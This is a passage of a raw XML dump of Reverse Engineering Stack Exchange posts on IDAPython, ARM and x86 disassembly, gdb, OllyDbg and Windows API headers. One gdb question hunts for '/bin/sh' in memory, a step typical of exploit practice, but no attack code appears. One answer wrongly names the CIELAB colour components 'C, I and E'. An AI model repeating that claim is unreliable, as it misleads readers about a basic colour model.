 0x8B4660320FF59C3F5148F95093550AC032ACE29C3D4A0540&#xA;c[(0,0,1)] =      0xCE01487450BA6C3F281E4AB53579044013312C6B12540DC0&#xA;c[(255,0,0)] =    0xE01C58AC04464C40091768519039534082A2B8D49E065140&#xA;c[(0,255,0)] =    0x46F3DD4DDA665540BAD424C91DDF56C05E7592BA947D5240&#xA;c[(0,0,255)]=     0xD84DBD3AA1554140BF17BD2D09C85140F9DB813DD37859C0&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for tips in how to decode these strings to the corresponding color strings.&lt;/p&gt;&#xA;" OwnerUserId="19265" LastEditorUserId="19265" LastEditDate="2017-02-24T01:32:10.087" LastActivityDate="2017-02-24T06:50:30.427" Title="How could colors be encoded in these values?" Tags="|binary-diagnosis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14720" PostTypeId="2" ParentId="14718" CreationDate="2017-02-23T07:35:49.327" Score="2" Body="&lt;p&gt;You are looking at so-called position-independent code (PIC). The program uses a helper function to get its current execution address into &lt;code&gt;ebx&lt;/code&gt; and then adds a delta to it to calculate the address of the GOT (this works because even after the file has been moved in memory, the data segment including the GOT is still at the same offset from the function). To calculate &lt;code&gt;ebx&lt;/code&gt;, you just need to remember that the &lt;code&gt;call&lt;/code&gt; instruction pushes the return address onto the stack, so inside &lt;code&gt;fcn.08048766&lt;/code&gt; &lt;code&gt;[esp]&lt;/code&gt; will contain &lt;code&gt;0x80486fd&lt;/code&gt;.  Adding &lt;code&gt;0x18f7&lt;/code&gt;, we get &lt;code&gt;0x8049FF4&lt;/code&gt; which should be the GOT address, and then you can subtract &lt;code&gt;0x178b&lt;/code&gt; to get &lt;code&gt;0x8048869&lt;/code&gt; which should be the string. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-23T07:35:49.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14721" PostTypeId="1" AcceptedAnswerId="14740" CreationDate="2017-02-23T09:35:33.817" Score="0" ViewCount="205" Body="&lt;p&gt;For a project I'm in need of a parseable version of the Windows API (i.e. the functions described in msdn).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to crawl it myself, but there seem to be more than 5 formats for signatures and parameters used. The MsdnApiExtractor project does not seem to work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen some projects using help files, but I can't seem anything to parse .hlp files. Sadly, using the header files is no alternative, since it lacks argument names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mainly interested in the High-Level API (e.g. ReadFile, CloseHandle etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems I've been looking at the wrong header files&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-02-24T08:55:17.490" LastActivityDate="2017-02-24T09:24:28.793" Title="Parseable Windows API documentation" Tags="|windows|api|documentation|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14722" PostTypeId="2" ParentId="14721" CreationDate="2017-02-23T10:24:47.583" Score="1" Body="&lt;p&gt;There is msdn-crawler, &lt;a href=&quot;http://github.com/zynamics/msdn-crawler&quot; rel=&quot;nofollow noreferrer&quot;&gt;created by Zynamics&lt;/a&gt; and then &lt;a href=&quot;https://github.com/fireeye/flare-ida/tree/master/MSDN_crawler&quot; rel=&quot;nofollow noreferrer&quot;&gt;amended by FireEye&lt;/a&gt;. I was not able to get it working but maybe you'll have more luck.&#xA;Alternatively, you can find an old MSDN CD with CHM files, decompile them to HTML and parse that.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-23T10:24:47.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14723" PostTypeId="2" ParentId="14717" CreationDate="2017-02-23T11:03:47.677" Score="1" Body="&lt;p&gt;&lt;code&gt;sb&lt;/code&gt; is the alternative name for the ARM register &lt;code&gt;R9&lt;/code&gt; used by some disassemblers, similar to &lt;code&gt;ip&lt;/code&gt; for &lt;code&gt;R12&lt;/code&gt;, &lt;code&gt;sp&lt;/code&gt; for &lt;code&gt;R13&lt;/code&gt; or &lt;code&gt;PC&lt;/code&gt; for &lt;code&gt;R15&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main thing you need to look at is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0002f1a8         add        sb, pc  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, &lt;code&gt;sb&lt;/code&gt; has the value of 0x96cb4 due to the &lt;code&gt;movw&lt;/code&gt; and &lt;code&gt;movt&lt;/code&gt; before.&#xA;In ARM, the &lt;code&gt;pc&lt;/code&gt; value points two instructions ahead, so here it will have value 0x002f1a8+4 = 0x002f1ac. So, we get 0x002f1ac+0x96cb4=0xC5E60 which matches the comment added by the disassembler. Next, &lt;code&gt;vldr d17, [sb]&lt;/code&gt; is executed which loads the double value at &lt;code&gt;sb&lt;/code&gt; (or 0xC5E60). Double values are 8 bytes long so all of the bytes from 0xC5E60 till 0xC5E67 will be loaded. The hex for it is 0x4033000000000000 which &lt;a href=&quot;http://babbage.cs.qc.cuny.edu/IEEE-754.old/64bit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;corresponds to 19.0&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-23T11:03:47.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14725" PostTypeId="1" AcceptedAnswerId="14726" CreationDate="2017-02-23T14:17:31.177" Score="8" ViewCount="24866" Body="&lt;p&gt;I'm new to IDAPython. Basically I want to iterate through all functions in an IDB file and their instructions using ida python script. The final goal is to export the functions &amp;amp; their instructions from idapro. in certain format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idautils import *&#xA;from idaapi import *&#xA;&#xA;ea = BeginEA()&#xA;for funcea in Functions(SegStart(ea), SegEnd(ea)):&#xA;    functionName = GetFunctionName(funcea)&#xA;    print functionName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using above script I'm retrieving function names, now I also want to print the assembly instructions of each function. I know may I have to use GetDisasm(ea), not sure how to use the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="11562" LastActivityDate="2017-12-11T22:00:18.160" Title="Using IDA Python Iterate Through All Functions and Their Instructions" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14726" PostTypeId="2" ParentId="14725" CreationDate="2017-02-23T14:52:27.673" Score="9" Body="&lt;p&gt;Please note that it will print only those functions that were recognized as such by IDA autoanalysis or defined manually, exactly as your code snippet. This snippet is not debugged, use on your own risk.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idautils import *&#xA;from idaapi import *&#xA;from idc import *&#xA;&#xA;for segea in Segments():&#xA;    for funcea in Functions(segea, SegEnd(segea)):&#xA;        functionName = GetFunctionName(funcea)&#xA;        for (startea, endea) in Chunks(funcea):&#xA;            for head in Heads(startea, endea):&#xA;                print functionName, &quot;:&quot;, &quot;0x%08x&quot;%(head), &quot;:&quot;, GetDisasm(head)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to extract the instructions as binary you can use &lt;code&gt;idc.NextHead&lt;/code&gt; function to get instruction boundaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function chunks mentioned in the code are not the same as we see in the the graph view in IDA (the function has more than one chunk if it is discontinuous&#xA;): chunks in graph view are called &lt;a href=&quot;https://en.wikipedia.org/wiki/Basic_block&quot; rel=&quot;noreferrer&quot;&gt;&quot;basic blocks&quot;&lt;/a&gt;, see more correct definition by the link.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="22585" LastEditDate="2017-12-11T22:00:18.160" LastActivityDate="2017-12-11T22:00:18.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14731" PostTypeId="1" AcceptedAnswerId="14733" CreationDate="2017-02-24T01:42:52.947" Score="0" ViewCount="785" Body="&lt;p&gt;Working with ASM code, bit I don't understand what does is the difference between these lines?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VLDR            S0, [R5]&#xA;VLDR            S2, [R5,#4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the meaning of &lt;strong&gt;#4&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="19262" LastEditorUserId="10364" LastEditDate="2017-02-24T13:38:43.573" LastActivityDate="2017-02-24T13:38:43.573" Title="What does this extra argument for a VLDR instruction mean?" Tags="|assembly|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14732" PostTypeId="1" CreationDate="2017-02-24T02:42:12.520" Score="1" ViewCount="447" Body="&lt;pre&gt;&lt;code&gt;   0x080484ad &amp;lt;+0&amp;gt;:     xor    %ebx,%ebx&#xA;   0x080484af &amp;lt;+2&amp;gt;:     mov    (%eax),%bl   *****&#xA;   0x080484b1 &amp;lt;+4&amp;gt;:     xor    $0x52,%bl&#xA;   0x080484b4 &amp;lt;+7&amp;gt;:     cmp    $0x11,%bl&#xA;   0x080484b7 &amp;lt;+10&amp;gt;:    jne    0x8048510 &#xA;   0x080484b9 &amp;lt;+12&amp;gt;:    mov    0x7(%eax),%bl&#xA;   0x080484bc &amp;lt;+15&amp;gt;:    sub    $0x16,%bl&#xA;   0x080484bf &amp;lt;+18&amp;gt;:    cmp    $0xd,%bl&#xA;   0x080484c2 &amp;lt;+21&amp;gt;:    jne    0x8048510 &#xA;   0x080484c4 &amp;lt;+23&amp;gt;:    mov    0x1(%eax),%bl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am having a problem understanding the register %bl. The register %eax has the value of &quot;12345678&quot; (string) under the address. I understand that in the second line we are moving the value of $eax to %bl (8 bits). So it is supposed to take the first two numbers from the string &quot;12&quot;, right? I wish some clarify this line. Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="19276" LastActivityDate="2017-03-26T07:12:41.880" Title="I have a problem with understanding the register %bl" Tags="|disassembly|debugging|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14733" PostTypeId="2" ParentId="14731" CreationDate="2017-02-24T02:51:42.117" Score="1" Body="&lt;pre&gt;&lt;code&gt;VLDR            S0, [R5]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load single-precision extension register &lt;code&gt;S0&lt;/code&gt;. R5 is the ARM register with the base address for the transfer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VLDR            S2, [R5,#4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load single-precision extension register &lt;code&gt;S2&lt;/code&gt;. R5 is the ARM register with the base address for the transfer; however we will be adding the numeric offset (&lt;code&gt;#4&lt;/code&gt;) to the base address &lt;code&gt;R5&lt;/code&gt; to get the address used for the transfer.&lt;/p&gt;&#xA;" OwnerUserId="10364" LastActivityDate="2017-02-24T02:51:42.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14735" PostTypeId="2" ParentId="14719" CreationDate="2017-02-24T06:50:30.427" Score="2" Body="&lt;p&gt;Worked it out - the colors are encoded using the CIELAB color model. They are represented as a sequence of 3 8-byte, little endian doubles, corresponding to the C, I and E components of the color.&lt;/p&gt;&#xA;" OwnerUserId="19265" LastActivityDate="2017-02-24T06:50:30.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14736" PostTypeId="2" ParentId="14732" CreationDate="2017-02-24T07:00:07.867" Score="1" Body="&lt;p&gt;at&amp;amp;t syntax throws me off so i would go with intel syntax&lt;br&gt;&#xA;I would also stick with hex as base in my answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if &lt;strong&gt;eax&lt;/strong&gt; holds an address like &lt;strong&gt;0x80481234&lt;/strong&gt; and it points to a variable like &lt;strong&gt;0x12345678&lt;/strong&gt;&lt;br&gt;&#xA;moving the byte to bl would make bl &lt;strong&gt;0x78&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;0x78&lt;/strong&gt; is xorred by &lt;strong&gt;0x52&lt;/strong&gt; and the result should be &lt;strong&gt;0x11&lt;/strong&gt;&lt;br&gt;&#xA;so xorring &lt;strong&gt;0x52 by 0x11&lt;/strong&gt;  should get you the required input     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mquEB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mquEB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-02-24T07:00:07.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14737" PostTypeId="2" ParentId="14716" CreationDate="2017-02-24T07:22:40.597" Score="0" Body="&lt;p&gt;which version of ollydbg v1 or v2&lt;br&gt;&#xA;if you are using v2 then use &lt;strong&gt;set protocol&lt;/strong&gt; and apply limit to range for read , write , or r/w&lt;br&gt;&#xA;the snapshot shows a range of 0x00000000 to 0x7fffffff (whole user mode mode range )&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pxaNN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxaNN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this should log the memory access to that range as follows &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sce0W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sce0W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-02-24T07:22:40.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14739" PostTypeId="2" ParentId="14710" CreationDate="2017-02-24T08:29:37.483" Score="3" Body="&lt;p&gt;i compiled the src in commandline (no vs using ewdk)&lt;br&gt;&#xA;and it appears ollydbg is able to identify the args and the call export seems to succeed here with some random crap thrown in for s    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i assume you are aware std::string is a structure and not a plain string&lt;br&gt;&#xA;you may need to properly craft a std::string and point the address of the std::string&lt;br&gt;&#xA;for you to see it in messagebox in the argument field &lt;/p&gt;&#xA;&#xA;&lt;p&gt;well for whatever it is worth here is a screenshot of my dab with what was posted and its results   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YZHFb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YZHFb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;std::string is a structure as i mentioned &lt;/p&gt;&#xA;&#xA;&lt;p&gt;your s if you debugged your executable directly should be like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt -r9 s&#xA;Local var @ 0x22f984 Type std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt;*&#xA;0x0022f98c&#xA;   +0x000 _Mypair          : std::_Compressed_pair&amp;lt;std::_Wrap_alloc&amp;lt;std::allocator&amp;lt;char&amp;gt; &amp;gt;,std::_Str&#xA;ing_val&amp;lt;std::_Simple_types&amp;lt;char&amp;gt; &amp;gt;,1&amp;gt;&#xA;      +0x000 _Myval2          : std::_String_val&amp;lt;std::_Simple_types&amp;lt;char&amp;gt; &amp;gt;&#xA;         +0x000 _Bx              : std::_String_val&amp;lt;std::_Simple_types&amp;lt;char&amp;gt; &amp;gt;::_Bxty&#xA;            +0x000 _Buf             : [16]  &quot;USER INPUT&quot;&#xA;            +0x000 _Ptr             : 0x52455355  &quot;--- memory read error at address 0x52455355 ---&quot;&#xA;            +0x000 _Alias           : [16]  &quot;USER INPUT&quot;&#xA;         +0x010 _Mysize          : 0xa&#xA;         +0x014 _Myres           : 0xf&#xA;   =6e2a0000 npos             : 0x905a4d&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so if you notice std::string contains a small performance optimization &#xA;like if the string is less than 0x10 bytes it doesn't allocate memory but uses the buffer directly  if the string is bigger than 0x10 bytes it allocates memory &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it has a size and max size members at 0x10 and 0x14 from the start of buffer   ie foo.cstr() you may need to properly set them  see below two snap shots one for a bigger std::string and one for a smaller std::string &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FW8sq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FW8sq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bigger string &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fuH3t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fuH3t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should recognize 4021c0 as loaddlls dump1 space &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope that helps &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as to why ollydbg shows two args may be it is a bug in the olly engine &lt;/p&gt;&#xA;&#xA;&lt;p&gt;according to windbg it is only one parameter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .fnent .&#xA;Debugger function entry 01e40268 for:&#xA;(6e2a10e0)   cpplib!CPPLib::Functions::PrintText   |  (6e2a1180)   cpplib!std::basic_string&amp;lt;wchar_t,&#xA;std::char_traits&amp;lt;wchar_t&amp;gt;,std::allocator&amp;lt;wchar_t&amp;gt; &amp;gt;::~basic_string&amp;lt;wchar_t,std::char_traits&amp;lt;wchar_t&amp;gt;&#xA;,std::allocator&amp;lt;wchar_t&amp;gt; &amp;gt;&#xA;Exact matches:&#xA;    cpplib!CPPLib::Functions::PrintText (class std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::al&#xA;locator&amp;lt;char&amp;gt; &amp;gt; *, class std::basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt; &amp;gt; *)&#xA;&#xA;OffStart:  000010e0&#xA;ProcSize:  0x9d&#xA;Prologue:  0x29&#xA;Params:    0n1 (0x4 bytes) &amp;lt;------------------------&#xA;Locals:    0n10 (0x28 bytes) &#xA;Non-FPO&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-03-06T18:27:52.733" LastActivityDate="2017-03-06T18:27:52.733" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14740" PostTypeId="2" ParentId="14721" CreationDate="2017-02-24T08:54:07.027" Score="1" Body="&lt;p&gt;this should be a comment but the content is long for a comment so an answer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;your statement /subsequent edit / that header files does not contain names &#xA;is not correct &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;echo %cd%&#xA;E:\ewdk\Program Files\Windows Kits\10\Include\10.0.10586.0\um&#xA;&#xA;:\&amp;gt;grep -irn -B 3 -A 3 GetLocalTime  *&#xA;sysinfoapi.h-180-WINBASEAPI&#xA;sysinfoapi.h-181-VOID&#xA;sysinfoapi.h-182-WINAPI&#xA;sysinfoapi.h:183:GetLocalTime(&#xA;sysinfoapi.h-184-    _Out_ LPSYSTEMTIME lpSystemTime&#xA;sysinfoapi.h-185-    );&#xA;sysinfoapi.h-186-&#xA;--&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in fact i have around 49547 apis parsed from ewdk win10 headers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;wc -l uniqtags.txt&#xA;49547 uniqtags.txt &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is what it spits out for your GetLocalTime&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep -n GetLocalTime uniqtags.txt&#xA;9715:GetLocalTime       ( _Out_ LPSYSTEMTIME lpSystemTime )&#xA;15926:InternetDebugGetLocalTime ( _Out_ SYSTEMTIME * pstLocalTime, _Out_opt_ DWORD * pdwReserved )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is what the possibly undocumented zwrecover functions with arguments &#xA;parsed from headers look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;grep -n ZwRec uniqtags.txt&#xA;33290:ZwRecoverEnlistment       ( _In_ HANDLE EnlistmentHandle, _In_opt_ PVOID EnlistmentKey )&#xA;33291:ZwRecoverResourceManager  ( _In_ HANDLE ResourceManagerHandle )&#xA;33292:ZwRecoverTransactionManager       ( _In_ HANDLE TransactionManagerHandle )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just to make it clear  if you want to print out all the Zw.&lt;em&gt;Enlist.&lt;/em&gt; functions with thier arguments you could do some thing like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;for /f %I in ( 'awk &quot;{print $1}&quot; uniqtags.txt ^| grep -i Zw ^| grep  Enlist ')  do grep %I uniqta&#xA;gs.txt&#xA;&#xA;:\&amp;gt;grep ZwCommitEnlistment uniqtags.txt&#xA;ZwCommitEnlistment      ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )&#xA;&#xA;:\&amp;gt;grep ZwCreateEnlistment uniqtags.txt&#xA;ZwCreateEnlistment      ( _Out_ PHANDLE EnlistmentHandle, _In_ ACCESS_MASK DesiredAccess, _In_ HANDL&#xA;E ResourceManagerHandle, _In_ HANDLE TransactionHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes&#xA;, _In_opt_ ULONG CreateOptions, _In_ NOTIFICATION_MASK NotificationMask, _In_opt_ PVOID EnlistmentKe&#xA;y )&#xA;&#xA;:\&amp;gt;grep ZwOpenEnlistment uniqtags.txt&#xA;ZwOpenEnlistment        ( _Out_ PHANDLE EnlistmentHandle, _In_ ACCESS_MASK DesiredAccess, _In_ HANDL&#xA;E RmHandle, _In_ LPGUID EnlistmentGuid, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes )&#xA;&#xA;:\&amp;gt;grep ZwPrePrepareEnlistment uniqtags.txt&#xA;ZwPrePrepareEnlistment  ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )&#xA;&#xA;:\&amp;gt;grep ZwPrepareEnlistment uniqtags.txt&#xA;ZwPrepareEnlistment     ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )&#xA;&#xA;:\&amp;gt;grep ZwQueryInformationEnlistment uniqtags.txt&#xA;ZwQueryInformationEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_ ENLISTMENT_INFORMATION_CLASS En&#xA;listmentInformationClass, _Out_writes_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformatio&#xA;n, _In_ ULONG EnlistmentInformationLength, _Out_opt_ PULONG ReturnLength )&#xA;&#xA;:\&amp;gt;grep ZwReadOnlyEnlistment uniqtags.txt&#xA;ZwReadOnlyEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )&#xA;&#xA;:\&amp;gt;grep ZwRecoverEnlistment uniqtags.txt&#xA;ZwRecoverEnlistment     ( _In_ HANDLE EnlistmentHandle, _In_opt_ PVOID EnlistmentKey )&#xA;&#xA;:\&amp;gt;grep ZwRollbackEnlistment uniqtags.txt&#xA;ZwRollbackEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )&#xA;&#xA;:\&amp;gt;grep ZwSetInformationEnlistment uniqtags.txt&#xA;ZwSetInformationEnlistment      ( _In_ HANDLE EnlistmentHandle, _In_ ENLISTMENT_INFORMATION_CLASS En&#xA;listmentInformationClass, _In_reads_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation,&#xA; _In_ ULONG EnlistmentInformationLength )&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-02-24T09:24:28.793" LastActivityDate="2017-02-24T09:24:28.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14741" PostTypeId="2" ParentId="1833" CreationDate="2017-02-24T09:56:31.603" Score="0" Body="&lt;p&gt;i use this small idc script &#xA;i set the base once and input the olly address using the AskAddr&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto olbase , oladdr , rva;&#xA;olbase = 0x20000;&#xA;oladdr = AskAddr(0,&quot;enter address as seen in olly&quot;);&#xA;Jump(  MinEA() + oladdr - olbase);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-02-24T09:56:31.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14744" PostTypeId="1" AcceptedAnswerId="14745" CreationDate="2017-02-24T15:54:43.273" Score="3" ViewCount="7890" Body="&lt;p&gt;Please bear in mind I am very new to all this - however I have searched and could not easily find an answer to my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an elf (actually an Android aboot image based upon LK) that I loaded into IDA Pro. I see Strings, and I wish to find out where these strings are referenced in code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KaVEa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KaVEa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to find cross-references to these strings in the code but there aren't any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I totally naive and missed out something totally obvious to the initiated? Could the strings be referenced by some obtuse run-time calculation of address (to obfuscate references) rather than just straightforward absolute/relative reference (which IDA mostly could work out?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="19282" LastEditorUserId="19282" LastEditDate="2017-02-24T16:12:34.457" LastActivityDate="2017-02-24T16:28:25.773" Title="How do I find where a String is referenced in IDA Pro?" Tags="|ida|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14745" PostTypeId="2" ParentId="14744" CreationDate="2017-02-24T16:28:25.773" Score="3" Body="&lt;p&gt;It could just be an array of strings that is referenced by a table of offsets into the array.  Here is an example of how strerror() looks up strings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NWYBN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NWYBN.png&quot; alt=&quot;String table example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should be pretty straightforward to see that &lt;em&gt;errid&lt;/em&gt; is just used to calculate the pointer for a corresponding string in the &lt;em&gt;errmsg&lt;/em&gt; table by the &lt;strong&gt;strerror()&lt;/strong&gt; function.  This could be why you are not seeing xrefs for those strings.  Without more information, that's my best guess.  I would try to find the beginning of that list of strings and look for an xref there.&lt;/p&gt;&#xA;" OwnerUserId="16966" LastActivityDate="2017-02-24T16:28:25.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14746" PostTypeId="1" CreationDate="2017-02-24T19:27:51.973" Score="5" ViewCount="2740" Body="&lt;p&gt;I'm playing with gdb and strange things are happening. I wanted to find some address in memory where string &quot;/bin/sh&quot; is located, and gdb says it found it. But when I examine the memory there, the string there is totally different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please help me to find out what this behaviour means, and how can I really find the adress of the string?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) find 0xb7ecffb0,+999999, &quot;/bin/sh&quot;&#xA;0xb7fba23f&#xA;1 pattern found.&#xA;(gdb) x/s 0xb7fba23f&#xA;0xb7fba23f:  &quot;KIND in __gen_tempname\&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19285" LastActivityDate="2023-04-19T17:08:31.077" Title="GDB find string strange results" Tags="|debugging|gdb|memory|strings|" AnswerCount="1" 